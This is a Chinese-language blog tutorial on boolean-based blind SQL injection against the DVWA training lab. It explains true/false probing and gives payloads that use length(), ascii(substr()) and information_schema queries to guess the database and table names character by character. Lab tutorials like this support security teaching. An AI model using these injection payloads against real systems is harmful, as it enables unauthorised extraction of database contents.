DVWA SQL Injection(Blind) - 布尔盲注

布尔盲注

顾名思义盲注就是看不到有效的正常回显与错误回显,布尔盲注则表示存在非真即假状态式回显,就相当于猜数字,我问这个数大于或小于某个范围,他能告知我正确还是错误,问 N 次后得到最终的结果

难度等级 LOW

根据经验手动查找漏洞点

?id=1' and 1=1 -- -

测试返回为真的状态:

测试返回为假的状态:

根据这两个状态就能够进行基本的猜解了

猜解数据库名

长度破解

需要使用 length() 函数

?id=1' and length(database()) <= 8 -- -

手动二分:<= 8 - True

手动二分:<= 4 - True

手动二分:<= 2 - False

手动二分:<= 3 - False

因此长度为 4

内容破解

  • left(str, length) 函数用于从目标字符串左侧截取 length 长度个字符,返回子字符串
  • right(str, length) 函数用于从目标字符串右侧截取 length 长度个字符,返回子字符串
  • substr(str, start, length) 函数用于从目标字符串 start 索引处开始截取 length 长度个字符,返回子字符串
  • ascii(char) 函数用于将目标字符转为 ascii 码,变为数字方便二分

1、判断是小写字母

?id=1' and ascii(substr(database(), 1, 1)) <= 97  -- -

2、然后通过二分判断最终的字符是 d = 100

猜解表名

因为可能存在多个表,需要使用 limit 0, 1 逐个猜解;具体步骤和猜解数据库名称一致,先确定长度后确定详细内容

长度破解

?id=1' and length((
select table_name from information_schema.tables where table_schema=database() limit 0, 1
)) = 9  -- -

内容破解

?id=1' and ascii(substr((
select table_name from information_schema.tables where table_schema=database() limit 0, 1
), 1, 1)) >= 97  -- -

其它难度等级

其它难度等级如何寻找注入点和 SQL Injection 一题一致,注入点寻找完毕后,就可以利用 Blind - low 的布尔盲注方式实现注入了,再次就不多赘述了,这里仅仅是一个原理的解释,人工复现着实复杂, 还需要使用自动化工具辅助实现

posted @ 2022-02-01 17:28  Butterflier  阅读(171)  评论(0编辑  收藏  举报